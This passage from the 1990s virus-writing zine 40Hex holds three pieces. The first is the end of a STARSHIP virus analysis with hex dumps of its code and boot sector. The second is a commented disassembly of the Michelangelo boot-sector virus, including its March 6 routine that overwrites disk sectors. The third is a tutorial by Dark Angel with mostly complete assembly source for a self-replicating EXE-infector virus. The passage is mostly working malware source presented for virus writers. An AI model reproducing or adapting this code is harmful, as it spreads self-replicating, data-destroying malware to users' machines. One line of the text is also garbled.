  2966.  |    10%      4DE - 5E9      create infected code          |
  2967.  |     6%      5EA - 692      output logic                  |
  2968.  |  3%    693 - 6E5      Tables                             |
  2969.  |  3%    6E6 - 738      Startup code for EXE/COM           |
  2970.  | 12%    739 - 88F      Infect disk                        |
  2971.  |  2%    891 - 8BF      Interrupt 01h handler (trace)      |
  2972.  | 11%    8C0 - 9D7      PseudoDOS boot and int B0h handler |
  2973.  +----------------------------------------------------------+
  2974.     4%    9D8 - A4E      Remover of code from videomemory
  2975.     2%    A4F - A8F      Buffers (CS, IP, SS, SP, etc.)
  2976.  
  2977.  
  2978. =======================================================
  2979.  
  2980. Table 2. Minimal and maximal sizes of infected
  2981. executable files.
  2982.        +-------------+------------------------+
  2983.        |  File type  |    Minimal   Maximal   |
  2984.        |             |    size      size      |
  2985.        +-------------+------------------------+
  2986.        |             |                        |
  2987.        |   .COM      |    1917      62202     |
  2988.        |             |                        |
  2989.        |   .EXE      |    1917      512 K     |
  2990.        +-------------+------------------------+
  2991.  
  2992. ==============================================================================
  2993.  
  2994. Figure 1. Memory block header (M-block) and memory dump of STARSHIP
  2995. virus located in core RAM. Virus uses segment 18FB, and its memory
  2996. block is at 18F2:0).
  2997.  
  2998. ------------------- M-memory block containing virus --------------------------
  2999.  
  3000. 18F2:0000  4D 08 00 B0 00 0A 00 A3-8E 0B A1 0C 00 A3 90 0B   M...............
  3001.  
  3002.  
  3003. ------- PSP of file, which termination caused the virus installation ---------
  3004.  
  3005. 18F3:0000  CD 20 A3 19 00 9A F0 FE-1D F0 2F 01 0B 18 3C 01   . ......../...<.
  3006. 18F3:0010  0B 18 56 05 0B 18 0B 18-01 01 01 00 02 FF FF FF   ..V.............
  3007. 18F3:0020  FF FF FF FF FF FF FF FF-FF FF FF FF EE 18 E0 FF   ................
  3008. 18F3:0030  00 90 14 00 18 00 F3 18-FF FF FF FF 00 00 00 00   ................
  3009. 18F3:0040  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
  3010. 18F3:0050  CD 21 CB 00 00 00 00 00-00 00 00 00 00 20 20 20   .!...........
  3011. 18F3:0060  20 20 20 20 20 20 20 20-00 00 00 00 00 20 20 20           .....
  3012. 18F3:0070  20 20 20 20 20 20 20 20-00 00 00 00 00 00 00 00           ........
  3013.  
  3014.  
  3015. ------------------ Here follows the code of virus (CS=18FB) -----------------
  3016.  
  3017. 18FB:0000  E9 01 10 4E 0A 00 10 00-00 00 00 00 00 42 3A 5C   ...N.........B:\
  3018. 18FB:0010  54 4D 50 5C 44 52 4F 5A-46 49 4C 41 2E 43 4F 4D   TMP\DROZFILA.COM
  3019. 18FB:0020  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
  3020. 18FB:0030  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
  3021. 18FB:0040  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 FF   ................
  3022. 18FB:0050  E9 93 06 3E 53 54 41 52-53 48 49 50 5F 31 3C 80   ...>STARSHIP_1<.
  3023. 18FB:0060  FA 80 75 41 83 F9 01 75-3F 0A F6 75 38 80 FC 02   ..uA...u?..u8...
  3024. 18FB:0070  75 29 1E 50 E8 13 03 58-9C FF 1E B8 04 1F 72 18   u).P...X......r.
  3025. 18FB:0080  50 56 72 16 B8 01 00 BE-BE 01 26 89 40 02 B0 01   PVr.......&.@...
  3026. 18FB:0090  26 88 40 01 5E 58 F8 FB-EB 7C 3C 80 FC 03 74 F6   &.@.^X...|<...t.
  3027. 18FB:00A0  80 FC 05 74 F1 E9 3E 01-80 FE 08 75 F8 51 02 C8   ...t..>....u.Q..
  3028. 18FB:00B0  80 F9 CC 59 72 EF 80 FD-FE 72 EA 80 FC 02 74 D6   ...Yr....r....t.
  3029. 18FB:00C0  75 D9 FF F1 E8 9C 2E 80-3E 4F 00 00 75 18 50 1E   u.......>O..u.P.
  3030. 18FB:00D0  8C C8 2D 09 00 E8 A9 02-A1 3C 00 48 E8 A2 02 2E   ..-......<.H....
  3031. 18FB:00E0  F6 16 4F 00 1F 58 80 FC-3C 75 31 2E 83 3E 0B 00   ..O..X..<u1..>..
  3032. 18FB:00F0  00 75 6E E8 6E 00 75 69-9D E8 CC 00 72 18 50 51   .un.n.ui....r.PQ
  3033.  
  3034.  
  3035. ==================================================================
  3036.  
  3037. Figure 2. Dump of pseudoDOS boot sector
  3038. (thin line denotes random garbage).
  3039.  
  3040.    0000  EB 34 90 4D 53 BF 05 00-CD 13 73 09 32 E4 CD 13   .4.MS.....s.2...
  3041.    0010  4F 75 F5 CD 18 C3 B9 01-00 E8 E9 FF 80 3E 00 7E   Ou...........>.~
  3042.    0020  EB 75 10 A0 02 7E BB 00-7E E8 97 00 0A E4 74 03   .u...~..~.....t.
  3043.    0030  80 EF 02 06 53 CB FA 33-C0 8E D0 BC 00 7C 8B F4   ....S..3.....|..
  3044.    0040  8E C0 8E D8 FB FC BF 00-06 B9 00 01 F3 A5 EA 53   ...............S
  3045.    0050  06 00 00 B9 37 00 BE D6-06 BF C0 02 F3 A4 BF B0   ....7...........
  3046.    0060  04 B9 08 00 F3 A4 1E C5-06 4C 00 AB 8C D8 AB 1F   .........L......
  3047.    0070  FE 06 FC 7D A1 FC 7D B9-CC FE BB 00 7C BA 80 08   ...}..}.....|...
  3048.    0080  0A C0 74 08 50 B8 01 03-E8 7A FF 58 41 89 0E DB   ..t.P....z.XA...
  3049.    0090  02 88 36 DF 02 06 BB 00-BB 8E C3 88 26 E7 02 CD   ..6.........&...
  3050.    00A0  B0 26 A2 63 01 26 8C 1E-C2 00 07 FA C7 06 4C 00   .&.c.&........L.
  3051.    00B0  B0 04 8C 1E 4E 00 FB BB-00 7C B8 06 02 BA 80 00   ....N....|......
  3052.    00C0  E9 53 FF 53 51 B9 0A 0A-32 E4 26 30 07 26 02 27   .S.SQ...2.&0.&.'
  3053.    00D0  43 E2 F7 59 5B C3 C4 02-00 00 50 06 53 B8 00 BB   C..Y[.....P.S...
  3054.    00E0  8E C0 BB 50 00 26 80 3F-E9 74 1E 52 51 B8 05 02   ...P.&.?.t.RQ...
  3055.    00F0  B9 00 00 BA 80 00 9C 2E-FF 1E B8 04 B0 00 B9 0A   ................
  3056.    0100  0A 26 30 07 43 E2 FA 59-5A 5B 07 58 CF CD B0 9A   .&0.C..YZ[.X....
  3057.                +--------------------------------+
  3058.    0110  5F 00 00 BB EA|1E 0E 1F-8E C0 33 FF 50 FC 32 C0|  _.........3.P.2.
  3059.   +--------------------+                                |
  3060.   |0120  B9 50 00 F3 AA E8 F6 F7-8B F7 B9 0A 0A F3 A4 E8|  .P..............
  3061.   |0130  98 F9 58 FA A3 B5 04 A3-C1 04 B8 90 90 A3 B0 04|  ..X.............
  3062.   |0140  A3 BC 04 C7 06 BF 04 C5-00 B8 EB 05 A3 C8 04 B8|  ................
  3063.   |0150  EB F4 A3 D4 04 BF CA 04-BE DB 04 06 1E 07 A5 A5|  ................
  3064.   |0160  A4 FB A3 D9 04 A3 C8 02-C7 06 E0 02 CD 13 C7 06|  ................
  3065.   |0170  E2 02 EB 0D FE 06 D9 02-CD B0 B9 37 00 BF C0 02|  ...........7....
  3066.   |0180  1E 07 8C D8 F3 AA 07 1F-C3 B4 62 E8 7A F7 C3 90|  ..........b.z...
  3067.   |0190  90 90 90 90 90 90 90 90-90 90 A4 4B 4C EA A6 8C|  ...........KL...
  3068.   |01A0  BE 23 54 F4 BC E8 B8 6B-5B F1 B2 EC B2 81 5E F6|  .#T....k[.....^.
  3069.   |01B0  88 D0 8C BC 64 CC 8E CC-86 69 6A C2 84 C8 80 6F|  ....d....ij....o
  3070.   |01C0  FA 2B C0 8E D0 8E C0 8E-D8 B8 00 7C 8B E0 FB 8B|  .+.........|....
  3071.   |01D0  F0 BF 00 7E FC B9 00 01-F3 A5 E9 00 02 B9 10 00|  ...~............
  3072.   |01E0  8B 36 85 7E F6 04 80 75-08 83 EE 10 E2 F6 EB 37|  .6.~...u.......7
  3073.   |                                   +-----------------+
  3074.   |01F0  90 BF BE 07 57 B9 08 00-F3 A5|74 91 05 AD 55 AA   ....W.....t...U.
  3075.   +-----------------------------------+
  3076.  
  3077. ==================================================================
  3078. Figure 3. Dispatcher code located at absolute address 0:4B0.
  3079.  
  3080.  
  3081.  
  3082.     a) virus code located in videomemory
  3083.  
  3084. 0000:04B0  CD B0              INT  B0        <== int 13h
  3085. 0000:04B2  9A 5F 00 00 BB     CALL BB00:005F
  3086. 0000:04B7  EA 3D A3 00 F0     JMP  F000:A33D
  3087.  
  3088. 0000:04BC  CD B0              INT  B0        <== int 21h
  3089. 0000:04BE  9A D6 03 00 BB     CALL BB00:03D6
  3090. 0000:04C3  EA 60 14 73 02     JMP  0273:1460
  3091.  
  3092. 0000:04C8  CD B0              INT  B0        <== int 20h
  3093. 0000:04CA  9A DD 03 00 BB     CALL BB00:03DD
  3094. 0000:04CF  EA 3F 14 73 02     JMP  0273:143F
  3095.  
  3096. 0000:04D4  CD B0              INT  B0        <== int 27h
  3097. 0000:04D6  9A 93 03 00 BB     CALL BB00:0393
  3098. 0000:04DB  EA 66 63 73 02     JMP  0273:6366
  3099.  
  3100.  
  3101.  
  3102.     b) after removing of code from videomemory
  3103.        (segment CS=18FB is where virus resides)
  3104.  
  3105.  
  3106. 0000:04B0  90                 NOP            <== int 13h
  3107. 0000:04B1  90                 NOP
  3108. 0000:04B2  9A 5F 00 6D 19     CALL 18FB:005F
  3109. 0000:04B7  EA 3D A3 00 F0     JMP  F000:A33D
  3110.  
  3111. 0000:04BC  90                 NOP            <== int 21h
  3112. 0000:04BD  90                 NOP
  3113. 0000:04BE  9A C5 00 6D 19     CALL 18FB:00C5
  3114. 0000:04C3  EA 3D A3 00 F0     JMP  0273:1460
  3115.  
  3116. 0000:04C8  EB 05              JMP  4CF       <== int 20h
  3117. 0000:04CA  EA 3F 14 73 02     JMP  0273:143F
  3118. 0000:04CF  EA 66 63 73 02     JMP  0273:6366
  3119. 0000:04D4  EB F4              JMP  4CA       <== int 27h
  3120.  
  3121. ===============================================================
  3122. All  corrections and  remarks will be greatly appreciated. Send
  3123. information directly via E-mail address (MIG@politon.msk.su) or
  3124. in  comp.virus group of USENET (I am monitoring it permanently).
  3125.  
  3126. F   .rs mbyt-  tF   .rs mbyt-  tF   .  (What is this? -Ed.)
  3127. 40Hex Number 8 Volume 2 Issue 4                                       File 006
  3128.  
  3129. ; This is a disassembly of the much-hyped michelangelo virus.
  3130. ; As you can see, it is a derivative of the Stoned virus.  The
  3131. ; junk bytes at the end of the file are probably throwbacks to
  3132. ; the Stoned virus.  In any case, it is yet another boot sector
  3133. ; and partition table infector.
  3134.  
  3135. michelangelo    segment byte public
  3136.         assume  cs:michelangelo, ds:michelangelo
  3137. ; Disassembly by Dark Angel of PHALCON/SKISM
  3138.         org     0
  3139.  
  3140.         jmp     entervirus
  3141. highmemjmp      db      0F5h, 00h, 80h, 9Fh
  3142. maxhead         db      2                       ; used by damagestuff
  3143. firstsector     dw      3
  3144. oldint13h       dd      0C8000256h
  3145.  
  3146. int13h:
  3147.         push    ds
  3148.         push    ax
  3149.         or      dl, dl                  ; default drive?
  3150.         jnz     exitint13h              ; exit if not
  3151.         xor     ax, ax
  3152.         mov     ds, ax
  3153.         test    byte ptr ds:[43fh], 1   ; disk 0 on?
  3154.         jnz     exitint13h              ; if not spinning, exit
  3155.         pop     ax
  3156.         pop     ds
  3157.         pushf
  3158.         call    dword ptr cs:[oldint13h]; first call old int 13h
  3159.         pushf
  3160.         call    infectdisk              ; then infect
  3161.         popf
  3162.         retf    2
  3163. exitint13h:     pop     ax
  3164.         pop     ds
  3165.         jmp     dword ptr cs:[oldint13h]
  3166.  
  3167. infectdisk:
  3168.         push    ax
  3169.         push    bx
  3170.         push    cx
  3171.         push    dx
  3172.         push    ds
  3173.         push    es
  3174.         push    si
  3175.         push    di
  3176.         push    cs
  3177.         pop     ds
  3178.         push    cs
  3179.         pop     es
  3180.         mov     si, 4
  3181. readbootblock:
  3182.         mov     ax,201h                 ; Read boot block to
  3183.         mov     bx,200h                 ; after virus
  3184.         mov     cx,1
  3185.         xor     dx,dx
  3186.         pushf
  3187.         call    oldint13h
  3188.         jnc     checkinfect             ; continue if no error
  3189.         xor     ax,ax
  3190.         pushf
  3191.         call    oldint13h               ; Reset disk
  3192.         dec     si                      ; loop back
  3193.         jnz     readbootblock
  3194.         jmp     short quitinfect        ; exit if too many failures
  3195. checkinfect:
  3196.         xor     si,si
  3197.         cld
  3198.         lodsw
  3199.         cmp     ax,[bx]                 ; check if already infected
  3200.         jne     infectitnow
  3201.         lodsw
  3202.         cmp     ax,[bx+2]               ; check again
  3203.         je      quitinfect
  3204. infectitnow:
  3205.         mov     ax,301h                 ; Write old boot block
  3206.         mov     dh,1                    ; to head 1
  3207.         mov     cl,3                    ; sector 3
  3208.         cmp     byte ptr [bx+15h],0FDh  ; 360k disk?
  3209.         je      is360Kdisk
  3210.         mov     cl,0Eh
  3211. is360Kdisk:
  3212.         mov     firstsector,cx
  3213.         pushf
  3214.         call    oldint13h
  3215.         jc      quitinfect              ; exit on error
  3216.         mov     si,200h+offset partitioninfo
  3217.         mov     di,offset partitioninfo
  3218.         mov     cx,21h                  ; Copy partition table
  3219.         cld
  3220.         rep     movsw
  3221.         mov     ax,301h                 ; Write virus to sector 1
  3222.         xor     bx,bx
  3223.         mov     cx,1
  3224.         xor     dx,dx
  3225.         pushf
  3226.         call    oldint13h
  3227. quitinfect:
  3228.         pop     di
  3229.         pop     si
  3230.         pop     es
  3231.         pop     ds
  3232.         pop     dx
  3233.         pop     cx
  3234.         pop     bx
  3235.         pop     ax
  3236.         retn
  3237. entervirus:
  3238.         xor     ax,ax
  3239.         mov     ds,ax
  3240.         cli
  3241.         mov     ss,ax
  3242.         mov     ax,7C00h                ; Set stack to just below
  3243.         mov     sp,ax                   ; virus load point
  3244.         sti
  3245.         push    ds                      ; save 0:7C00h on stack for
  3246.         push    ax                      ; later retf
  3247.         mov     ax,ds:[13h*4]
  3248.         mov     word ptr ds:[7C00h+offset oldint13h],ax
  3249.         mov     ax,ds:[13h*4+2]
  3250.         mov     word ptr ds:[7C00h+offset oldint13h+2],ax
  3251.         mov     ax,ds:[413h]            ; memory size in K
  3252.         dec     ax                      ; 1024 K
  3253.         dec     ax
  3254.         mov     ds:[413h],ax            ; move new value in
  3255.         mov     cl,6
  3256.         shl     ax,cl                   ; ax = paragraphs of memory
  3257.         mov     es,ax                   ; next line sets seg of jmp
  3258.         mov     word ptr ds:[7C00h+2+offset highmemjmp],ax
  3259.         mov     ax,offset int13h
  3260.         mov     ds:[13h*4],ax
  3261.         mov     ds:[13h*4+2],es
  3262.         mov     cx,offset partitioninfo
  3263.         mov     si,7C00h
  3264.         xor     di,di
  3265.         cld
  3266.         rep     movsb                   ; copy to high memory
  3267.                         ; and transfer control there
  3268.         jmp     dword ptr cs:[7C00h+offset highmemjmp]
  3269. ; destination of highmem jmp
  3270.         xor     ax,ax
  3271.         mov     es,ax
  3272.         int     13h                     ; reset disk
  3273.         push    cs
  3274.         pop     ds
  3275.         mov     ax,201h
  3276.         mov     bx,7C00h
  3277.         mov     cx,firstsector
  3278.         cmp     cx,7                    ; hard disk infection?
  3279.         jne     floppyboot              ; if not, do floppies
  3280.         mov     dx,80h                  ; Read old partition table of
  3281.         int     13h                     ; first hard disk to 0:7C00h
  3282.         jmp     short exitvirus
  3283. floppyboot:
  3284.         mov     cx,firstsector          ; read old boot block
  3285.         mov     dx,100h                 ; to 0:7C00h
  3286.         int     13h
  3287.         jc      exitvirus
  3288.         push    cs
  3289.         pop     es
  3290.         mov     ax,201h                 ; read boot block
  3291.         mov     bx,200h                 ; of first hard disk
  3292.         mov     cx,1
  3293.         mov     dx,80h
  3294.         int     13h
  3295.         jc      exitvirus
  3296.         xor     si,si
  3297.         cld
  3298.         lodsw
  3299.         cmp     ax,[bx]                 ; is it infected?
  3300.         jne     infectharddisk          ; if not, infect HD
  3301.         lodsw                           ; check infection
  3302.         cmp     ax,[bx+2]
  3303.         jne     infectharddisk
  3304. exitvirus:
  3305.         xor     cx,cx                   ; Real time clock get date
  3306.         mov     ah,4                    ; dx = mon/day
  3307.         int     1Ah
  3308.         cmp     dx,306h                 ; March 6th
  3309.         je      damagestuff
  3310.         retf                            ; return control to original
  3311.                         ; boot block @ 0:7C00h
  3312. damagestuff:
  3313.         xor     dx,dx
  3314.         mov     cx,1
  3315. smashanothersector:
  3316.         mov     ax,309h
  3317.         mov     si,firstsector
  3318.         cmp     si,3
  3319.         je      smashit
  3320.         mov     al,0Eh
  3321.         cmp     si,0Eh
  3322.         je      smashit
  3323.         mov     dl,80h                  ; first hard disk
  3324.         mov     maxhead,4
  3325.         mov     al,11h
  3326. smashit:
  3327.         mov     bx,5000h                ; random memory area
  3328.         mov     es,bx                   ; at 5000h:5000h
  3329.         int     13h                     ; Write al sectors to drive dl
  3330.         jnc     skiponerror             ; skip on error
  3331.         xor     ah,ah                   ; Reset disk drive dl
  3332.         int     13h
  3333. skiponerror:
  3334.         inc     dh                      ; next head
  3335.         cmp     dh,maxhead              ; 2 if floppy, 4 if HD
  3336.         jb      smashanothersector
  3337.         xor     dh,dh                   ; go to next head/cylinder
  3338.         inc     ch
  3339.         jmp     short smashanothersector
  3340. infectharddisk:
  3341.         mov     cx,7                    ; Write partition table to
  3342.         mov     firstsector,cx          ; sector 7
  3343.         mov     ax,301h
  3344.         mov     dx,80h
  3345.         int     13h
  3346.         jc      exitvirus
  3347.         mov     si,200h+offset partitioninfo ; Copy partition
  3348.         mov     di,offset partitioninfo      ; table information
  3349.         mov     cx,21h
  3350.         rep     movsw
  3351.         mov     ax,301h                 ; Write to sector 8
  3352.         xor     bx,bx                   ; Copy virus to sector 1
  3353.         inc     cl
  3354.         int     13h
  3355. ;*              jmp     short 01E0h
  3356.         db      0EBh, 32h               ; ?This should crash?
  3357. ; The following bytes are meaningless.
  3358. garbage         db      1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
  3359. partitioninfo:  db      42h dup (0)
  3360. michelangelo    ends
  3361.         end
  3362.  
  3363. 40Hex Number 8 Volume 2 Issue 4                                       File 007
  3364.  
  3365.             ───────────────────────────────────────
  3366.             An Introduction to Nonoverwriting Virii
  3367.                 Part II: EXE Infectors
  3368.                  By Dark Angel
  3369.             ───────────────────────────────────────
  3370.   
  3371.        In the  last issue  of 40Hex,  I presented  theory and  code  for  the
  3372.   nonoverwriting  COM   infector,  the   simplest  of  all  parasitic  virii.
  3373.   Hopefully, having  learned COM  infections cold,  you are now ready for EXE
  3374.   infections.  There is a grey veil covering the technique of EXE infections,
  3375.   as the majority of virii are COM-only.
  3376.   
  3377.        EXE infections  are, in  some  respects,  simpler  than  COM  viruses.
  3378.   However, to  understand the infection, you must understand the structure of
  3379.   EXE files  (naturally).   EXE files  are structured into segments which are
  3380.   loaded consecutively  atop one  another.  Thus, all an EXE infector must do
  3381.   is create  its own  segment in  the EXE  file and  alter  the  entry  point
  3382.   appropriately.   Therefore, EXE  infections do  not require  restoration of
  3383.   bytes of  code, but  rather involve  the manipulation  of the  header which
  3384.   appears in  the beginning every EXE file and the appending of viral code to
  3385.   the infected file.  The format of the header follows:
  3386.   
  3387.    Offset Description
  3388.      00   ID word, either 'MZ' or 'ZM'
  3389.      02   Number of bytes in the last (512 byte) page in the image
  3390.      04   Total number of 512 byte pages in the file
  3391.      06   Number of entries in the segment table
  3392.      08   Size of the header in (16 byte) paragraphs
  3393.      0A   Minimum memory required in paragraphs
  3394.      0C   Maximum memory requested in paragraphs
  3395.      0E   Initial offset in paragraphs to stack segment from header
  3396.      10   Initial offset in bytes of stack pointer from stack segment
  3397.      12   Negative checksum (ignored)
  3398.      14   Initial offset in bytes of instruction pointer from code segment
  3399.      16   Initial offset in paragraphs of code segment from header
  3400.      18   Offset of relocation table from start of file
  3401.      1A   Overlay number (ignored)
  3402.   
  3403.   The ID  word is  generally 'ZM'  (in the  Intel little-endian format).  Few
  3404.   files start  with the  alternate form,  'MZ' (once  again in  Intel little-
  3405.   endian format).   To  save space, a check for the alternate form of the EXE
  3406.   ID in  the virus  may be omitted, although a few files may be corrupted due
  3407.   to this omission.
  3408.   
  3409.   The words  at offsets  2 and  4 are related.  The word at offset 4 contains
  3410.   the filesize  in pages.   A  page is  a 512 byte chunk of memory, just as a
  3411.   word is  a two  byte chunk of memory.  This number is rounded up, so a file
  3412.   of length  514 bytes  would contain a 2 at offset 4 in the EXE header.  The
  3413.   word at offset 2 is the image length modulo 512.  The image length does not
  3414.   include the  header length.   This  is one of the bizarre quirks of the EXE
  3415.   header.   Since the header length is usually a multiple of 512 anyway, this
  3416.   quirk usually  does not  matter.  If the word at offset 2 is equal to four,
  3417.   then it  is generally  ignored (heck,  it's never really used anyway) since
  3418.   pre-1.10 versions  of the  Microsoft linker had a bug which caused the word
  3419.   to always  be equal  to four.  If you are bold, the virus can set this word
  3420.   to 4.   However, keep in mind that this was a bug of the linker and not all
  3421.   command interpreters may recognise this quirk.
  3422.   
  3423.   The minimum memory required by the program (offset A) can be ignored by the
  3424.   virus, as  the maximum  memory is generally allocated to the program by the
  3425.   operating system.   However,  once again,  ignoring this area of the header
  3426.   MAY cause  an unsucessful  infection.   Simply adding  the  virus  size  in
  3427.   paragraphs to this value can nullify the problem.
  3428.   
  3429.   The words  representing the  initial stack segment and pointer are reversed
  3430.   (not in  little-endian format).   In  other words,  an LES to this location
  3431.   will yield  the stack  pointer in  ES and  the  stack  segment  in  another
  3432.   register.   The initial  SS:SP is  calculated  with  the  base  address  of
  3433.   0000:0000 being at the end of the header.
  3434.   
  3435.   Similarly, the  initial CS:IP  (in little-endian format) is calculated with
  3436.   the base  address of  0000:0000 at  the end of the header.  For example, if
  3437.   the program  entry point  appears directly after the header, then the CS:IP
  3438.   would be 0000:0000.  When the program is loaded, the PSP+10 is added to the
  3439.   segment value (the extra 10 accounts for the 100h bytes of the PSP).
  3440.   
  3441.   All the  relevant portions  of the  EXE header  have been covered.  So what
  3442.   should be  done to  write a  nonoverwriting EXE infector?  First, the virus
  3443.   must be appended to the end of the file.  Second, the initial CS:IP must be
  3444.   saved and  subsequently changed  in the  header.   Third, the initial SS:SP
  3445.   should also  be saved  and changed.   This  is to avoid any possible memory
  3446.   conflicts from  the stack  overwriting viral  code.   Fourth, the file size
  3447.   area of  the header should be modified to correctly reflect the new size of
  3448.   the file.   Fifth,  any additional  safety modifications such as increasing
  3449.   the minimum  memory allocation  should be made.  Last, the header should be
  3450.   written to the infected file.
  3451.   
  3452.   There are  several good areas for ID bytes in the EXE header.  The first is
  3453.   in the stack pointer field.  Since it should be changed anyway, changing it
  3454.   to a  predictable number  would add nothing to the code length.  Make sure,
  3455.   however, to  make the stack pointer high enough to prevent code overwrites.
  3456.   Another common  area for ID bytes is in the negative checksum field.  Since
  3457.   it is  an unused  field, altering  it won't  affect the  execution  of  any
  3458.   programs.
  3459.   
  3460.   One further item should be mentioned before the code for the EXE infector.
  3461.   It is important to remember that EXE files are loaded differently than COM
  3462.   files.  Although a PSP is still built, the initial CS does NOT point to it.
  3463.   Instead, it points to wherever the entry point happens to be.  DS and ES
  3464.   point to the PSP, and therefore do NOT point to the entry point (your virus
  3465.   code).  It is important to restore DS and ES to their proper values before
  3466.   returning control to the EXE.
  3467.   
  3468.   ----cut here---------------------------------------------------------------
  3469.   
  3470.   .model tiny                             ; Handy TASM directive
  3471.   .code                                   ; Virus code segment
  3472.         org 100h                      ; COM file starting IP
  3473.   ; Cheesy EXE infector
  3474.   ; Written by Dark Angel of PHALCON/SKISM
  3475.   ; For 40Hex Number 8 Volume 2 Issue 4
  3476.   id = 'DA'                               ; ID word for EXE infections
  3477.   
  3478.   startvirus:                             ; virus code starts here
  3479.         call next                     ; calculate delta offset
  3480.   next:     pop  bp                       ; bp = IP next
  3481.         sub  bp,offset next           ; bp = delta offset
  3482.   
  3483.         push ds
  3484.         push es
  3485.         push cs                       ; DS = CS
  3486.         pop  ds
  3487.         push cs                       ; ES = CS
  3488.         pop  es
  3489.         lea  si,[bp+jmpsave2]
  3490.         lea  di,[bp+jmpsave]
  3491.         movsw
  3492.         movsw
  3493.         movsw
  3494.         movsw
  3495.   
  3496.         mov  ah,1Ah                   ; Set new DTA
  3497.         lea  dx,[bp+newDTA]           ; new DTA @ DS:DX
  3498.         int  21h
  3499.   
  3500.         lea  dx,[bp+exe_mask]
  3501.         mov  ah,4eh                   ; find first file
  3502.         mov  cx,7                     ; any attribute
  3503.   findfirstnext:
  3504.         int  21h                      ; DS:DX points to mask
  3505.         jc   done_infections          ; No mo files found
  3506.   
  3507.         mov  al,0h                    ; Open read only
  3508.         call open
  3509.   
  3510.         mov  ah,3fh                   ; Read file to buffer
  3511.         lea  dx,[bp+buffer]           ; @ DS:DX
  3512.         mov  cx,1Ah                   ; 1Ah bytes
  3513.         int  21h
  3514.   
  3515.         mov  ah,3eh                   ; Close file
  3516.         int  21h
  3517.   
  3518.   checkEXE: cmp  word ptr [bp+buffer+10h],id ; is it already infected?
  3519.         jnz  infect_exe
  3520.   find_next:
  3521.         mov  ah,4fh                   ; find next file
  3522.         jmp  short findfirstnext
  3523.   done_infections:
  3524.         mov  ah,1ah                   ; restore DTA to default
  3525.         mov  dx,80h                   ; DTA in PSP
  3526.         pop  es
  3527.         pop  ds                       ; DS->PSP
  3528.         int  21h
  3529.         mov  ax,es                    ; AX = PSP segment
  3530.         add  ax,10h                   ; Adjust for PSP
  3531.         add  word ptr cs:[si+jmpsave+2],ax
  3532.         add  ax,word ptr cs:[si+stacksave+2]
  3533.         cli                           ; Clear intrpts for stack manip.
  3534.         mov  sp,word ptr cs:[si+stacksave]
  3535.         mov  ss,ax
  3536.         sti
  3537.         db   0eah                     ; jmp ssss:oooo
  3538.   jmpsave             dd ?                ; Original CS:IP
  3539.   stacksave           dd ?                ; Original SS:SP
  3540.   jmpsave2            dd 0fff00000h       ; Needed for carrier file
  3541.   stacksave2          dd ?
  3542.   
  3543.   creator             db '[MPC]',0,'Dark Angel of PHALCON/SKISM',0
  3544.   virusname           db '[DemoEXE] for 40Hex',0
  3545.   
  3546.   infect_exe:
  3547.         les  ax, dword ptr [bp+buffer+14h] ; Save old entry point
  3548.         mov  word ptr [bp+jmpsave2], ax
  3549.         mov  word ptr [bp+jmpsave2+2], es
  3550.   
  3551.         les  ax, dword ptr [bp+buffer+0Eh] ; Save old stack
  3552.         mov  word ptr [bp+stacksave2], es
  3553.         mov  word ptr [bp+stacksave2+2], ax
  3554.   
  3555.         mov  ax, word ptr [bp+buffer + 8] ; Get header size
  3556.         mov  cl, 4                        ; convert to bytes
  3557.         shl  ax, cl
  3558.         xchg ax, bx
  3559.   
  3560.         les  ax, [bp+offset newDTA+26]; Get file size
  3561.         mov  dx, es                   ; to DX:AX
  3562.         push ax
  3563.         push dx
  3564.   
  3565.         sub  ax, bx                   ; Subtract header size from
  3566.         sbb  dx, 0                    ; file size
  3567.   
  3568.         mov  cx, 10h                  ; Convert to segment:offset
  3569.         div  cx                       ; form
  3570.   
  3571.         mov  word ptr [bp+buffer+14h], dx ; New entry point
  3572.         mov  word ptr [bp+buffer+16h], ax
  3573.   
  3574.         mov  word ptr [bp+buffer+0Eh], ax ; and stack
  3575.         mov  word ptr [bp+buffer+10h], id
  3576.   
  3577.         pop  dx                       ; get file length
  3578.         pop  ax
  3579.   
  3580.         add  ax, heap-startvirus      ; add virus size
  3581.         adc  dx, 0
  3582.   
  3583.         mov  cl, 9                    ; 2**9 = 512
  3584.         push ax
  3585.         shr  ax, cl
  3586.         ror  dx, cl
  3587.         stc
  3588.         adc  dx, ax                   ; filesize in pages
  3589.         pop  ax
  3590.         and  ah, 1                    ; mod 512
  3591.   
  3592.         mov  word ptr [bp+buffer+4], dx ; new file size
  3593.         mov  word ptr [bp+buffer+2], ax
  3594.   
  3595.         push cs                       ; restore ES
  3596.         pop  es
  3597.   
  3598.         mov  cx, 1ah
  3599.   finishinfection:
  3600.         push cx                       ; Save # bytes to write
  3601.         xor  cx,cx                    ; Clear attributes
  3602.         call attributes               ; Set file attributes
  3603.   
  3604.         mov  al,2
  3605.         call open
  3606.   
  3607.         mov  ah,40h                   ; Write to file
  3608.         lea  dx,[bp+buffer]           ; Write from buffer
  3609.         pop  cx                       ; cx bytes
  3610.         int  21h
  3611.   
  3612.         mov  ax,4202h                 ; Move file pointer
  3613.         xor  cx,cx                    ; to end of file
  3614.         cwd                           ; xor dx,dx
  3615.         int  21h
  3616.   
  3617.         mov  ah,40h                   ; Concatenate virus
  3618.         lea  dx,[bp+startvirus]
  3619.         mov  cx,heap-startvirus       ; # bytes to write
  3620.         int  21h
  3621.   
  3622.         mov  ax,5701h                 ; Restore creation date/time
  3623.         mov  cx,word ptr [bp+newDTA+16h] ; time
  3624.         mov  dx,word ptr [bp+newDTA+18h] ; date
  3625.         int  21h
  3626.   
  3627.         mov  ah,3eh                   ; Close file
  3628.         int  21h
  3629.   
  3630.         mov ch,0
  3631.         mov cl,byte ptr [bp+newDTA+15h] ; Restore original
  3632.         call attributes                 ; attributes
  3633.   
  3634.   mo_infections: jmp find_next
  3635.   
  3636.   open:
  3637.         mov  ah,3dh
  3638.         lea  dx,[bp+newDTA+30]        ; filename in DTA
  3639.         int  21h
  3640.         xchg ax,bx
  3641.         ret
  3642.   
  3643.   attributes:
  3644.         mov  ax,4301h                 ; Set attributes to cx
  3645.         lea  dx,[bp+newDTA+30]        ; filename in DTA
  3646.         int  21h
  3647.         ret
  3648.   
  3649.   exe_mask            db '*.exe',0
  3650.   heap:                                   ; Variables not in code
  3651.   newDTA              db 42 dup (?)       ; Temporary DTA
